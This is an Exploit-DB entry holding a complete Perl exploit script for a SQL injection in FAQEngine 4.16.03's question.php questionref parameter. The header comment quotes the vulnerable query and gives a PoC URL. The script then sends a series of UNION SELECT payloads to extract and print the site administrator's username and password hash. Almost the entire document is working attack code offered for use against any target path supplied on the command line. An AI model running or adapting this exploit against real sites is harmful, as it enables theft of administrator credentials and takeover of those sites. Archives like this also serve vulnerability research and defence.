Exploit-DB #3943
Description: FAQEngine 4.16.03 - 'question.php?questionref' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-16
Author: Silentz

Exploit:
#!/usr/bin/perl -w

#################################################################################
#										#
#	            FAQEngine <= v4.16.03 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (question.php):						#
#										#
#      $sql = "select * from ".$tableprefix."_questions where publish=1 	#
#      and questionref=$questionref order by enterdate desc";			#
#										#
# PoC: question.php?mode=display&questionref=-999 UNION SELECT 0,0,0,0,		#
#      username,password,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*	#
# 										#
# Subject To: The question display mode being enabled				#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
#################################################################################

use LWP::UserAgent;

if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "                 FAQEngine <= v4.16.03 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_faqengine.pl [PATH]\r\n\r\n";
print "[PATH] = Path where FAQEngine is located\r\n\r\n";
print "e.g. w4ck1ng_faqengine.pl http://victim.com/faq/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

@paths = (
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,username,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*"
);

for($i=0;$i<3;$i++){
  $host = $ARGV[0] . $paths[$i];
  $res = $b->request(HTTP::Request->new(GET=>$host));
  ($user) = $res->content =~ /">([0-9a-zA-Z]+)<\/span><\/td><\/tr>/;

  if($user){ last; }
}

if($user){
  print "-------------------------------------------------------------------------\r\n";
  print "                 FAQEngine <= v4.16.03 SQL Injection Exploit\r\n";
  print "-------------------------------------------------------------------------\r\n";
  print "[+] Admin User : $user\n";
}


@paths = (
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,password,0,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,password,0,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*",
"question.php?mode=display&lang=en&questionref=-999 UNION SELECT 0,0,0,0,0,password,0,0,0,0,0,0,0,0,0 FROM faq_admins WHERE usernr=1 /*"
);

for($i=0;$i<3;$i++){
  $host = $ARGV[0] . $paths[$i];
  $res = $b->request(HTTP::Request->new(GET=>$host));
  ($hash) = $res->content =~ /([0-9a-fA-F]{32})/;
  if($hash){ last; }
}

if($hash){
  print "[+] Admin Hash : $hash\n";
  print "-------------------------------------------------------------------------\r\n";
  print "            		 http://www.w4ck1ng.com\r\n";
  print "            		        ...Silentz\r\n";
  print "-------------------------------------------------------------------------\r\n";
} else {
  print "\nExploit Failed...\n";
}

# milw0rm.com [2007-05-16]